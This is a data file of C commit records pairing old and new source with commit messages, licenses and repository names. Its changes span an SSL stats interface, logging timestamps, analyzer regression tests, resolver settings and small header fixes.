/* * Copyright (c) 2017, Facebook, Inc. * All rights reserved. * * This source code is licensed under the BSD-style license found in the * LICENSE file in the root directory of this source tree. An additional grant * of patent rights can be found in the PATENTS file in the same directory. * */ #pragma once namespace wangle { class SSLStats { public: virtual ~SSLStats() noexcept {} // downstream virtual void recordSSLAcceptLatency(int64_t latency) noexcept = 0; virtual void recordTLSTicket(bool ticketNew, bool ticketHit) noexcept = 0; virtual void recordSSLSession(bool sessionNew, bool sessionHit, bool foreign) noexcept = 0; virtual void recordSSLSessionRemove() noexcept = 0; virtual void recordSSLSessionFree(uint32_t freed) noexcept = 0; virtual void recordSSLSessionSetError(uint32_t err) noexcept = 0; virtual void recordSSLSessionGetError(uint32_t err) noexcept = 0; virtual void recordClientRenegotiation() noexcept = 0; // upstream virtual void recordSSLUpstreamConnection(bool handshake) noexcept = 0; virtual void recordSSLUpstreamConnectionError(bool verifyError) noexcept = 0; }; } // namespace wangle
/* * Copyright (c) 2017, Facebook, Inc. * All rights reserved. * * This source code is licensed under the BSD-style license found in the * LICENSE file in the root directory of this source tree. An additional grant * of patent rights can be found in the PATENTS file in the same directory. * */ #pragma once namespace wangle { class SSLStats { public: virtual ~SSLStats() noexcept {} // downstream virtual void recordSSLAcceptLatency(int64_t latency) noexcept = 0; virtual void recordTLSTicket(bool ticketNew, bool ticketHit) noexcept = 0; virtual void recordSSLSession(bool sessionNew, bool sessionHit, bool foreign) noexcept = 0; virtual void recordSSLSessionRemove() noexcept = 0; virtual void recordSSLSessionFree(uint32_t freed) noexcept = 0; virtual void recordSSLSessionSetError(uint32_t err) noexcept = 0; virtual void recordSSLSessionGetError(uint32_t err) noexcept = 0; virtual void recordClientRenegotiation() noexcept = 0; virtual void recordSSLClientCertificateMismatch() noexcept = 0; // upstream virtual void recordSSLUpstreamConnection(bool handshake) noexcept = 0; virtual void recordSSLUpstreamConnectionError(bool verifyError) noexcept = 0; }; } // namespace wangle
Add a counter for client cert verification mismatches
Add a counter for client cert verification mismatches Summary: As per title Reviewed By: yfeldblum Differential Revision: D4665764 fbshipit-source-id: 7051a3958900ac3c3387f1b7e08e45ae38abcc73
C
apache-2.0
facebook/wangle,facebook/wangle,facebook/wangle
c938a893593fa7ea2e596ec41e186cdfbaee4e58
src/utils.c
src/utils.c
#include <stdio.h> #include <stdarg.h> static FILE* g_logfile = NULL; int message (const char* fmt, ...) { va_list ap; if (g_logfile) { va_start (ap, fmt); vfprintf (g_logfile, fmt, ap); va_end (ap); } va_start (ap, fmt); int rc = vfprintf (stdout, fmt, ap); va_end (ap); return rc; } void message_set_logfile (const char* filename) { if (g_logfile) { fclose (g_logfile); g_logfile = NULL; } if (filename) g_logfile = fopen (filename, "w"); }
#include <stdio.h> #include <stdarg.h> #include <string.h> static FILE* g_logfile = NULL; static unsigned char g_lastchar = '\n'; #ifdef _WIN32 #include <windows.h> static unsigned long g_timestamp; #else #include <sys/time.h> static struct timeval g_timestamp; #endif int message (const char* fmt, ...) { va_list ap; if (g_logfile) { if (g_lastchar == '\n') { #ifdef _WIN32 unsigned long timestamp = GetTickCount () - g_timestamp; unsigned long sec = timestamp / 1000L, msec = timestamp % 1000L; fprintf (g_logfile, "[%li.%03li] ", sec, msec); #else struct timeval now = {0}, timestamp = {0}; gettimeofday (&now, NULL); timersub (&now, &g_timestamp, &timestamp); fprintf (g_logfile, "[%lli.%06lli] ", (long long)timestamp.tv_sec, (long long)timestamp.tv_usec); #endif } size_t len = strlen (fmt); if (len > 0) g_lastchar = fmt[len - 1]; else g_lastchar = 0; va_start (ap, fmt); vfprintf (g_logfile, fmt, ap); va_end (ap); } va_start (ap, fmt); int rc = vfprintf (stdout, fmt, ap); va_end (ap); return rc; } void message_set_logfile (const char* filename) { if (g_logfile) { fclose (g_logfile); g_logfile = NULL; } if (filename) g_logfile = fopen (filename, "w"); if (g_logfile) { g_lastchar = '\n'; #ifdef _WIN32 g_timestamp = GetTickCount (); #else gettimeofday (&g_timestamp, NULL); #endif } }
Write timestamps to the logfile.
Write timestamps to the logfile.
C
lgpl-2.1
josh-wambua/libdivecomputer,andysan/libdivecomputer,glance-/libdivecomputer,venkateshshukla/libdivecomputer,henrik242/libdivecomputer,Poltsi/libdivecomputer-vms,glance-/libdivecomputer,venkateshshukla/libdivecomputer,andysan/libdivecomputer,henrik242/libdivecomputer,josh-wambua/libdivecomputer
62b62db673984849e2d057e5c4b1a0f1ba5dfe52
src/engine/parallell/cl_parallell.h
src/engine/parallell/cl_parallell.h
#ifndef ENGINE_PARALLELL_CLPARALLELL_H_ #define ENGINE_PARALLELL_CLPARALLELL_H_ /* OpenCL 1.2 */ #define CL_HPP_MINIMUM_OPENCL_VERSION 120 #define CL_HPP_TARGET_OPENCL_VERSION 120 #define CL_HPP_ENABLE_EXCEPTIONS #include <vector> #include <tbb/mutex.h> #ifdef __APPLE__ #include <OpenCL/cl2.hpp> #else #include <CL/cl2.hpp> #endif #include "engine/parallell/engine_parallell.h" namespace engine { namespace parallell { class CLParallell : public EngineParallell { public: void InitCollisionParallell() override final; float ComputeCollisionParallell(float box1[], float box2[]) override final; ~CLParallell() override = default; private: cl::Kernel cl_kernel_; cl::CommandQueue cl_queue_; std::vector<cl::Buffer> bufferin_; std::vector<cl::Buffer> bufferout_; int wk_size_{4}; tbb::mutex collision_mutex_; }; }//namespace parallell }//namespace engine #endif //ENGINE_PARALLELL_CLPARALLELL_H_
#ifndef ENGINE_PARALLELL_CLPARALLELL_H_ #define ENGINE_PARALLELL_CLPARALLELL_H_ /* OpenCL 1.2 */ #define CL_HPP_MINIMUM_OPENCL_VERSION 120 #define CL_HPP_TARGET_OPENCL_VERSION 120 #define CL_HPP_ENABLE_EXCEPTIONS #include <vector> #include <tbb/mutex.h> #ifdef __APPLE__ #include <OpenCL/cl2.hpp> #else #include <CL/cl2.hpp> #endif #include "engine/parallell/engine_parallell.h" namespace engine { namespace parallell { class CLParallell : public EngineParallell { public: void InitCollisionParallell() override final; float ComputeCollisionParallell(float box1[], float box2[]) override final; ~CLParallell() override = default; private: cl::Kernel cl_kernel_; cl::CommandQueue cl_queue_; std::vector<cl::Buffer> bufferin_; std::vector<cl::Buffer> bufferout_; int wk_size_{32}; tbb::mutex collision_mutex_; }; }//namespace parallell }//namespace engine #endif //ENGINE_PARALLELL_CLPARALLELL_H_
Change default wksize for opencl config
Change default wksize for opencl config
C
mit
ricofehr/enginepp,ricofehr/enginepp,ricofehr/enginepp
57830441ac4e0d9f470798859c7e41aae75b41b0
src/modules/StatusCode.c
src/modules/StatusCode.c
#include "StatusCode.h" HttpseCode httpse_check_status_code(const HttpseTData *tdata) { long cp = 0, cs = 0; curl_easy_getinfo(tdata->rp->curl, CURLINFO_RESPONSE_CODE, &cp); curl_easy_getinfo(tdata->rs->curl, CURLINFO_RESPONSE_CODE, &cs); if(cs && cp) { if(cs != cp) { return HTTPSE_STATUS_CODE_MISMATCH; } switch(cp/ 100) { case 2: case 3: return HTTPSE_OK; case 4: return HTTPSE_STATUS_CODE_4XX; case 5: return HTTPSE_STATUS_CODE_5XX; default: return HTTPSE_STATUS_CODE_OTHERS; } } /* Remark: Unreachable code. */ return HTTPSE_ERROR_UNKNOWN; }
#include "StatusCode.h" HttpseCode httpse_check_status_code(const HttpseTData *tdata) { long cp = 0; long cs = 0; curl_easy_getinfo(tdata->rp->curl, CURLINFO_RESPONSE_CODE, &cp); curl_easy_getinfo(tdata->rs->curl, CURLINFO_RESPONSE_CODE, &cs); if(cs == cp) { switch(cp/ 100) { /* Remark: unable to recieve HTTP response code, skip tests */ case 0: /* Remark: everything is OK */ case 2: case 3: return HTTPSE_OK; case 4: return HTTPSE_STATUS_CODE_4XX; case 5: return HTTPSE_STATUS_CODE_5XX; default: return HTTPSE_STATUS_CODE_OTHERS; } } return HTTPSE_STATUS_CODE_MISMATCH; }
Fix coding style and improve readability
Fix coding style and improve readability
C
apache-2.0
cschanaj/xhttpse2,cschanaj/xhttpse2
fe83b07a6c98da79d9930a64c142e171fc0803f6
tests/regression/02-base/71-ad-widen-duplicate.c
tests/regression/02-base/71-ad-widen-duplicate.c
// https://github.com/goblint/analyzer/issues/554 int a; int main() { c(&a); } int c(int *f) { unsigned long d; int *e = &a; d = 0; while (1) { e = f++; d++; } }
Add test where address domain widening creates duplicates
Add test where address domain widening creates duplicates
C
mit
goblint/analyzer,goblint/analyzer,goblint/analyzer,goblint/analyzer,goblint/analyzer
c48db1d71212705488fef88b5d12bc7aa2883863
lib/libc/net/res_config.h
lib/libc/net/res_config.h
#define DEBUG /* enable debugging code (needed for dig) */ #undef ALLOW_T_UNSPEC /* enable the "unspec" RR type for old athena */ #define RESOLVSORT /* allow sorting of addresses in gethostbyname */ #undef RFC1535 /* comply with RFC1535 */ #undef ALLOW_UPDATES /* destroy your system security */ #undef USELOOPBACK /* res_init() bind to localhost */ #undef SUNSECURITY /* verify gethostbyaddr() calls - WE DONT NEED IT */
#define DEBUG 1 /* enable debugging code (needed for dig) */ #undef ALLOW_T_UNSPEC /* enable the "unspec" RR type for old athena */ #define RESOLVSORT /* allow sorting of addresses in gethostbyname */ #undef RFC1535 /* comply with RFC1535 */ #undef ALLOW_UPDATES /* destroy your system security */ #undef USELOOPBACK /* res_init() bind to localhost */ #undef SUNSECURITY /* verify gethostbyaddr() calls - WE DONT NEED IT */
Define DEBUG as 1 instead of as nothing so that it doesn't conflict with -DDEBUG in libresolv/Makefile.
Define DEBUG as 1 instead of as nothing so that it doesn't conflict with -DDEBUG in libresolv/Makefile.
C
bsd-3-clause
jrobhoward/SCADAbase,jrobhoward/SCADAbase,jrobhoward/SCADAbase,jrobhoward/SCADAbase,jrobhoward/SCADAbase,jrobhoward/SCADAbase,jrobhoward/SCADAbase,jrobhoward/SCADAbase,jrobhoward/SCADAbase,jrobhoward/SCADAbase,jrobhoward/SCADAbase
1bd430675c66ab64791a1aaf8260fd270486651d
MdeModulePkg/Include/Library/PeCoffLoaderLib.h
MdeModulePkg/Include/Library/PeCoffLoaderLib.h
/*++ Copyright (c) 2006, Intel Corporation All rights reserved. This program and the accompanying materials are licensed and made available under the terms and conditions of the BSD License which accompanies this distribution. The full text of the license may be found at http://opensource.org/licenses/bsd-license.php THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. Module Name: EdkPeCoffLoaderLib.h Abstract: Wrap the Base PE/COFF loader with the PE COFF Protocol --*/ #ifndef __PE_COFF_LOADER_LIB_H_ #define __PE_COFF_LOADER_LIB_H_ #include <Protocol/PeiPeCoffLoader.h> EFI_PEI_PE_COFF_LOADER_PROTOCOL* EFIAPI GetPeCoffLoaderProtocol ( VOID ); #endif
/*++ Copyright (c) 2006, Intel Corporation All rights reserved. This program and the accompanying materials are licensed and made available under the terms and conditions of the BSD License which accompanies this distribution. The full text of the license may be found at http://opensource.org/licenses/bsd-license.php THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. Module Name: EdkPeCoffLoaderLib.h Abstract: Wrap the Base PE/COFF loader with the PE COFF Protocol --*/ #ifndef __PE_COFF_LOADER_LIB_H_ #define __PE_COFF_LOADER_LIB_H_ #include <Guid/PeiPeCoffLoader.h> EFI_PEI_PE_COFF_LOADER_PROTOCOL* EFIAPI GetPeCoffLoaderProtocol ( VOID ); #endif
Move PeiPeCoffLoader from /Protocol to /Guid.
Move PeiPeCoffLoader from /Protocol to /Guid. git-svn-id: 5648d1bec6962b0a6d1d1b40eba8cf5cdb62da3d@3047 6f19259b-4bc3-4df7-8a09-765794883524
C
bsd-2-clause
MattDevo/edk2,MattDevo/edk2,MattDevo/edk2,MattDevo/edk2,MattDevo/edk2,MattDevo/edk2,MattDevo/edk2,MattDevo/edk2
ab8c5bb9bfb26846ab464247302f3696bc33f424
TimeVaryingDragForce.h
TimeVaryingDragForce.h
/*===- TimeVaryingDragForce.h - libSimulation -================================= * * DEMON * * This file is distributed under the BSD Open Source License. See LICENSE.TXT * for details. * *===-----------------------------------------------------------------------===*/ #ifndef TIMEVARYINGDRAGFORCE_H #define TIMEVARYINGDRAGFORCE_H #include "DragForce.h" using namespace std; class TimeVaryingDragForce : public DragForce { public: TimeVaryingDragForce(Cloud * const myCloud, const double scale, const double offset); //overloaded constructor ~TimeVaryingDragForce() {} //destructor //public functions: void force1(const double currentTime); //rk substep 1 void force2(const double currentTime); //rk substep 2 void force3(const double currentTime); //rk substep 3 void force4(const double currentTime); //rk substep 4 void writeForce(fitsfile *file, int *error) const; void readForce(fitsfile *file, int *error); private: //private variables: double scaleConst; //[s^-2] double offsetConst; //[s^-1] //private methods: const double calculateGamma(const double currentTime) const; }; #endif /* TIMEVARYINGDRAGFORCE_H */
/*===- TimeVaryingDragForce.h - libSimulation -================================= * * DEMON * * This file is distributed under the BSD Open Source License. See LICENSE.TXT * for details. * *===-----------------------------------------------------------------------===*/ #ifndef TIMEVARYINGDRAGFORCE_H #define TIMEVARYINGDRAGFORCE_H #include "DragForce.h" class TimeVaryingDragForce : public DragForce { public: TimeVaryingDragForce(Cloud * const myCloud, const double scale, const double offset); //overloaded constructor ~TimeVaryingDragForce() {} //destructor //public functions: void force1(const double currentTime); //rk substep 1 void force2(const double currentTime); //rk substep 2 void force3(const double currentTime); //rk substep 3 void force4(const double currentTime); //rk substep 4 void writeForce(fitsfile *file, int *error) const; void readForce(fitsfile *file, int *error); private: //private variables: double scaleConst; //[s^-2] double offsetConst; //[s^-1] //private methods: const double calculateGamma(const double currentTime) const; }; #endif /* TIMEVARYINGDRAGFORCE_H */
Remove unnecessary using directive. This sclences a warning when compiling with clang++.
Remove unnecessary using directive. This sclences a warning when compiling with clang++.
C
bsd-3-clause
leios/demonsimulationcode,leios/demonsimulationcode
77adde032a0f7a7fd7fb5475894e7638949fa0f9
src/11pm.h
src/11pm.h
#pragma once /* 11pm.h - functions and data types related * to the operation of HPM itself */ // install.c - functions related to symlinking // (installing) already faked packages int xipm_symlink(char *from, char *to);
#pragma once /* 11pm.h - functions and data types related * to the operation of 11pm itself */ // install.c - functions related to symlinking // (installing) already faked packages int xipm_symlink(char *from, char *to);
Change a missed instance of 'HPM'
Change a missed instance of 'HPM'
C
mit
11pm-pkg/11pm,11pm-pkg/11pm
884143e3d78327a81ceadff98b4190776396d6c7
tests/regression/13-privatized/19-publish-precision.c
tests/regression/13-privatized/19-publish-precision.c
// PARAM: --set ana.int.interval true --set solver "'td3'" #include<pthread.h> #include<assert.h> int glob1 = 0; pthread_mutex_t mutex1 = PTHREAD_MUTEX_INITIALIZER; pthread_mutex_t mutex2 = PTHREAD_MUTEX_INITIALIZER; void *t_fun(void *arg) { int t; pthread_mutex_lock(&mutex1); pthread_mutex_lock(&mutex2); glob1 = 5; pthread_mutex_unlock(&mutex2); pthread_mutex_lock(&mutex2); assert(glob1 == 5); glob1 = 0; pthread_mutex_unlock(&mutex1); pthread_mutex_unlock(&mutex2); return NULL; } int main(void) { pthread_t id; assert(glob1 == 0); pthread_create(&id, NULL, t_fun, NULL); pthread_mutex_lock(&mutex2); assert(glob1 == 0); // UNKNOWN assert(glob1 == 5); // UNKNOWN pthread_mutex_unlock(&mutex2); pthread_join (id, NULL); return 0; }
// PARAM: --set ana.int.interval true --set solver "'td3'" #include<pthread.h> #include<assert.h> int glob1 = 0; pthread_mutex_t mutex1 = PTHREAD_MUTEX_INITIALIZER; pthread_mutex_t mutex2 = PTHREAD_MUTEX_INITIALIZER; void *t_fun(void *arg) { int t; pthread_mutex_lock(&mutex1); pthread_mutex_lock(&mutex2); glob1 = 5; pthread_mutex_unlock(&mutex2); pthread_mutex_lock(&mutex2); assert(glob1 == 5); glob1 = 0; pthread_mutex_unlock(&mutex1); pthread_mutex_unlock(&mutex2); return NULL; } int main(void) { pthread_t id; assert(glob1 == 0); pthread_create(&id, NULL, t_fun, NULL); pthread_mutex_lock(&mutex2); assert(glob1 == 0); // UNKNOWN! assert(glob1 == 5); // UNKNOWN! pthread_mutex_unlock(&mutex2); pthread_join (id, NULL); return 0; }
Test 13/19: Add ! to UNKNOWN
Test 13/19: Add ! to UNKNOWN
C
mit
goblint/analyzer,goblint/analyzer,goblint/analyzer,goblint/analyzer,goblint/analyzer
577f6f33e83d9d3f64974dbe06c7e68374a679eb
tests/regression/46-apron2/03-other-assume.c
tests/regression/46-apron2/03-other-assume.c
//PARAM: --set ana.activated[+] apron --set ana.path_sens[+] threadflag --set ana.activated[+] threadJoins --sets ana.apron.privatization mutex-meet-tid #include <pthread.h> #include <assert.h> int g = 10; int h = 10; pthread_mutex_t A = PTHREAD_MUTEX_INITIALIZER; void *t_fun(void *arg) { return NULL; } void *t_benign(void *arg) { pthread_t id2; pthread_create(&id2, NULL, t_fun, NULL); __goblint_assume_join(id2, NULL); // t_fun should be in here g = 7; return NULL; } int main(void) { int t; pthread_t id2[10]; for(int i =0; i < 10;i++) { pthread_create(&id2[i], NULL, t_benign, NULL); } __goblint_assume_join(id2[2]); // t_benign and t_fun should be in here assert(g==h); //FAIL return 0; }
Add test that's unsound because of __goblint_assume_join(...)
Add test that's unsound because of __goblint_assume_join(...)
C
mit
goblint/analyzer,goblint/analyzer,goblint/analyzer,goblint/analyzer,goblint/analyzer
6812abb673f9755e5c9a777dd65123f9041667ad
contrib/tsearch2/ispell/regis.h
contrib/tsearch2/ispell/regis.h
#ifndef __REGIS_H__ #define __REGIS_H__ #include "postgres.h" typedef struct RegisNode { uint32 type:2, len:16, unused:14; struct RegisNode *next; unsigned char data[1]; } RegisNode; #define RNHDRSZ (sizeof(uint32)+sizeof(void*)) #define RSF_ONEOF 1 #define RSF_NONEOF 2 typedef struct Regis { RegisNode *node; uint32 issuffix:1, nchar:16, unused:15; } Regis; int RS_isRegis(const char *str); int RS_compile(Regis * r, int issuffix, const char *str); void RS_free(Regis * r); /* 1 */ int RS_execute(Regis * r, const char *str, int len); #endif
#ifndef __REGIS_H__ #define __REGIS_H__ #include "postgres.h" typedef struct RegisNode { uint32 type:2, len:16, unused:14; struct RegisNode *next; unsigned char data[1]; } RegisNode; #define RNHDRSZ (offsetof(RegisNode,data)) #define RSF_ONEOF 1 #define RSF_NONEOF 2 typedef struct Regis { RegisNode *node; uint32 issuffix:1, nchar:16, unused:15; } Regis; int RS_isRegis(const char *str); int RS_compile(Regis * r, int issuffix, const char *str); void RS_free(Regis * r); /* 1 */ int RS_execute(Regis * r, const char *str, int len); #endif
Fix incorrect header size macros
Fix incorrect header size macros
C
agpl-3.0
tpostgres-projects/tPostgres,50wu/gpdb,Chibin/gpdb,royc1/gpdb,jmcatamney/gpdb,rubikloud/gpdb,rvs/gpdb,edespino/gpdb,0x0FFF/gpdb,chrishajas/gpdb,50wu/gpdb,greenplum-db/gpdb,cjcjameson/gpdb,50wu/gpdb,arcivanov/postgres-xl,tangp3/gpdb,janebeckman/gpdb,adam8157/gpdb,Quikling/gpdb,ashwinstar/gpdb,yuanzhao/gpdb,zeroae/postgres-xl,kmjungersen/PostgresXL,kaknikhil/gpdb,jmcatamney/gpdb,randomtask1155/gpdb,adam8157/gpdb,zaksoup/gpdb,randomtask1155/gpdb,pavanvd/postgres-xl,Chibin/gpdb,CraigHarris/gpdb,cjcjameson/gpdb,kaknikhil/gpdb,janebeckman/gpdb,ashwinstar/gpdb,rubikloud/gpdb,atris/gpdb,lintzc/gpdb,foyzur/gpdb,atris/gpdb,yazun/postgres-xl,pavanvd/postgres-xl,royc1/gpdb,0x0FFF/gpdb,rubikloud/gpdb,lpetrov-pivotal/gpdb,tpostgres-projects/tPostgres,xuegang/gpdb,0x0FFF/gpdb,zaksoup/gpdb,50wu/gpdb,lisakowen/gpdb,Quikling/gpdb,lintzc/gpdb,jmcatamney/gpdb,kaknikhil/gpdb,xuegang/gpdb,chrishajas/gpdb,kmjungersen/PostgresXL,lintzc/gpdb,lpetrov-pivotal/gpdb,techdragon/Postgres-XL,CraigHarris/gpdb,oberstet/postgres-xl,ovr/postgres-xl,foyzur/gpdb,ashwinstar/gpdb,lisakowen/gpdb,foyzur/gpdb,Chibin/gpdb,50wu/gpdb,rvs/gpdb,zeroae/postgres-xl,kmjungersen/PostgresXL,yuanzhao/gpdb,xinzweb/gpdb,Quikling/gpdb,postmind-net/postgres-xl,zaksoup/gpdb,CraigHarris/gpdb,yuanzhao/gpdb,atris/gpdb,jmcatamney/gpdb,janebeckman/gpdb,rubikloud/gpdb,rvs/gpdb,kaknikhil/gpdb,Quikling/gpdb,chrishajas/gpdb,atris/gpdb,greenplum-db/gpdb,Quikling/gpdb,Chibin/gpdb,xuegang/gpdb,xuegang/gpdb,lpetrov-pivotal/gpdb,yuanzhao/gpdb,zaksoup/gpdb,xinzweb/gpdb,royc1/gpdb,yuanzhao/gpdb,tangp3/gpdb,janebeckman/gpdb,greenplum-db/gpdb,CraigHarris/gpdb,arcivanov/postgres-xl,50wu/gpdb,edespino/gpdb,Quikling/gpdb,atris/gpdb,rubikloud/gpdb,lintzc/gpdb,0x0FFF/gpdb,Chibin/gpdb,snaga/postgres-xl,xinzweb/gpdb,arcivanov/postgres-xl,yazun/postgres-xl,ashwinstar/gpdb,ahachete/gpdb,yazun/postgres-xl,tangp3/gpdb,ahachete/gpdb,postmind-net/postgres-xl,ashwinstar/gpdb,jmcatamney/gpdb,xuegang/gpdb,lisakowen/gpdb,kmjungersen/PostgresXL,chrishajas/gpdb,lpetrov-pivotal/gpdb,lintzc/gpdb,janebeckman/gpdb,kaknikhil/gpdb,50wu/gpdb,edespino/gpdb,royc1/gpdb,postmind-net/postgres-xl,janebeckman/gpdb,pavanvd/postgres-xl,CraigHarris/gpdb,yuanzhao/gpdb,zeroae/postgres-xl,ovr/postgres-xl,rubikloud/gpdb,randomtask1155/gpdb,jmcatamney/gpdb,kaknikhil/gpdb,greenplum-db/gpdb,ahachete/gpdb,CraigHarris/gpdb,cjcjameson/gpdb,cjcjameson/gpdb,tangp3/gpdb,lintzc/gpdb,CraigHarris/gpdb,ashwinstar/gpdb,rubikloud/gpdb,adam8157/gpdb,adam8157/gpdb,foyzur/gpdb,snaga/postgres-xl,randomtask1155/gpdb,jmcatamney/gpdb,edespino/gpdb,snaga/postgres-xl,Postgres-XL/Postgres-XL,adam8157/gpdb,arcivanov/postgres-xl,randomtask1155/gpdb,kaknikhil/gpdb,tangp3/gpdb,royc1/gpdb,50wu/gpdb,rvs/gpdb,greenplum-db/gpdb,adam8157/gpdb,ahachete/gpdb,tpostgres-projects/tPostgres,rvs/gpdb,0x0FFF/gpdb,kaknikhil/gpdb,oberstet/postgres-xl,randomtask1155/gpdb,snaga/postgres-xl,atris/gpdb,zaksoup/gpdb,lintzc/gpdb,edespino/gpdb,rvs/gpdb,xinzweb/gpdb,yazun/postgres-xl,Chibin/gpdb,janebeckman/gpdb,ovr/postgres-xl,lintzc/gpdb,xuegang/gpdb,ahachete/gpdb,Postgres-XL/Postgres-XL,lpetrov-pivotal/gpdb,xuegang/gpdb,tangp3/gpdb,lisakowen/gpdb,oberstet/postgres-xl,oberstet/postgres-xl,ahachete/gpdb,yazun/postgres-xl,janebeckman/gpdb,0x0FFF/gpdb,randomtask1155/gpdb,arcivanov/postgres-xl,postmind-net/postgres-xl,adam8157/gpdb,Chibin/gpdb,edespino/gpdb,royc1/gpdb,ovr/postgres-xl,xuegang/gpdb,royc1/gpdb,yuanzhao/gpdb,rvs/gpdb,Postgres-XL/Postgres-XL,xinzweb/gpdb,kmjungersen/PostgresXL,lpetrov-pivotal/gpdb,Postgres-XL/Postgres-XL,Chibin/gpdb,lintzc/gpdb,tangp3/gpdb,ovr/postgres-xl,atris/gpdb,chrishajas/gpdb,lpetrov-pivotal/gpdb,lpetrov-pivotal/gpdb,cjcjameson/gpdb,zaksoup/gpdb,xinzweb/gpdb,zaksoup/gpdb,0x0FFF/gpdb,Quikling/gpdb,0x0FFF/gpdb,xinzweb/gpdb,randomtask1155/gpdb,cjcjameson/gpdb,lisakowen/gpdb,jmcatamney/gpdb,yuanzhao/gpdb,greenplum-db/gpdb,janebeckman/gpdb,ahachete/gpdb,foyzur/gpdb,edespino/gpdb,rvs/gpdb,royc1/gpdb,zaksoup/gpdb,cjcjameson/gpdb,Quikling/gpdb,foyzur/gpdb,Quikling/gpdb,edespino/gpdb,oberstet/postgres-xl,techdragon/Postgres-XL,lisakowen/gpdb,yuanzhao/gpdb,chrishajas/gpdb,zeroae/postgres-xl,pavanvd/postgres-xl,arcivanov/postgres-xl,techdragon/Postgres-XL,yuanzhao/gpdb,tpostgres-projects/tPostgres,foyzur/gpdb,janebeckman/gpdb,cjcjameson/gpdb,snaga/postgres-xl,edespino/gpdb,Chibin/gpdb,pavanvd/postgres-xl,postmind-net/postgres-xl,xuegang/gpdb,chrishajas/gpdb,xinzweb/gpdb,ahachete/gpdb,Chibin/gpdb,rubikloud/gpdb,Quikling/gpdb,cjcjameson/gpdb,tangp3/gpdb,zeroae/postgres-xl,CraigHarris/gpdb,edespino/gpdb,Postgres-XL/Postgres-XL,greenplum-db/gpdb,adam8157/gpdb,techdragon/Postgres-XL,CraigHarris/gpdb,chrishajas/gpdb,cjcjameson/gpdb,techdragon/Postgres-XL,ashwinstar/gpdb,kaknikhil/gpdb,lisakowen/gpdb,foyzur/gpdb,rvs/gpdb,ashwinstar/gpdb,lisakowen/gpdb,atris/gpdb,greenplum-db/gpdb,rvs/gpdb,tpostgres-projects/tPostgres,kaknikhil/gpdb
f77d77d736ccbcbca1a14971e3472388e9af47bd
engine/include/Core/Common.h
engine/include/Core/Common.h
/* * Copyright (c) 2016 Lech Kulina * * This file is part of the Realms Of Steel. * For conditions of distribution and use, see copyright details in the LICENSE file. */ #ifndef ROS_COMMON_H #define ROS_COMMON_H #include <cstddef> #include <cstdlib> #include <cstdio> #include <cstdarg> #include <cstring> #include <cassert> #define ROS_NOOP ((void)0) #define ROS_NULL NULL #ifndef ROS_DISABLE_ASSERTS #define ROS_ASSERT assert #else #define ROS_ASSERT ROS_NOOP #endif namespace ros { template<class Type, size_t Size> inline Type* ArrayBegin(Type (&array)[Size]) { return &array[0]; } template<class Type, size_t Size> inline Type* ArrayEnd(Type (&array)[Size]) { return &array[0] + Size; } const size_t KB = 1024; const size_t MB = 1024 * 1024; template<class Type> inline Type Alignment(const Type& value, size_t multiple) { return (multiple - (value % multiple)) % multiple; } template<class Type> inline Type Align(const Type& value, size_t multiple) { return value + alignment(value, multiple); } } #endif // ROS_COMMON_H
Add some common utils for arrays and alignment
Add some common utils for arrays and alignment
C
apache-2.0
lechkulina/RealmsOfSteel,lechkulina/RealmsOfSteel
df1f6a7e063c494514f25cedc3f615f4599ce313
src/main.c
src/main.c
/* Copyright 2010 Curtis McEnroe <[email protected]> * * This file is part of BSH. * * BSH is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * BSH is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with BSH. If not, see <http://www.gnu.org/licenses/>. */ #include <stdlib.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include "common.h" #include "reader.h" #include "command.h" int main(int argc, char *argv[]) { while (true) { printf("%s ", (geteuid() == 0) ? "#" : "$"); char **command = read_command(stdin); if (!command) break; if (strequ(command[0], "")) continue; run_command(command); free_command(command); } return 0; }
/* Copyright 2010 Curtis McEnroe <[email protected]> * * This file is part of BSH. * * BSH is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * BSH is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with BSH. If not, see <http://www.gnu.org/licenses/>. */ #include <stdlib.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include "common.h" #include "reader.h" #include "command.h" int main(int argc, char *argv[]) { setenv("SHELL", argv[0], true); while (true) { printf("%s ", (geteuid() == 0) ? "#" : "$"); char **command = read_command(stdin); if (!command) break; if (strequ(command[0], "")) continue; run_command(command); free_command(command); } return 0; }
Set the SHELL environment variable
Set the SHELL environment variable
C
isc
programble/bsh
1ddf35ebc48f1a0922c17399382ce679a51b2bda
src/main.h
src/main.h
#ifndef __ADR_MAIN_H__ #define __ADR_MAIN_H__ // Libraries // #include "craftable.h" #include "resource.h" #include "villager.h" #include "location.h" // Forward Declarations // enum LOCATION adr_loc; enum FIRE_STATE adr_fire; enum ROOM_TEMP adr_temp; unsigned int adr_rs [ALIEN_ALLOY + 1]; unsigned short adr_cs [RIFLE + 1]; unsigned short adr_vs [MUNITIONIST + 1]; #endif // __ADR_MAIN_H__ // vim: set ts=4 sw=4 et:
#ifndef __ADR_MAIN_H__ #define __ADR_MAIN_H__ // Libraries // #include "craftable.h" #include "resource.h" #include "villager.h" #include "location.h" // Forward Declarations // static enum LOCATION adr_loc; static enum FIRE_STATE adr_fire; static enum ROOM_TEMP adr_temp; static unsigned int adr_rs [ALIEN_ALLOY + 1]; static unsigned short adr_cs [RIFLE + 1]; static unsigned short adr_vs [MUNITIONIST + 1]; #endif // __ADR_MAIN_H__ // vim: set ts=4 sw=4 et:
Make all the state variables static (still subject to significant change)
Make all the state variables static (still subject to significant change)
C
mpl-2.0
HalosGhost/adarcroom
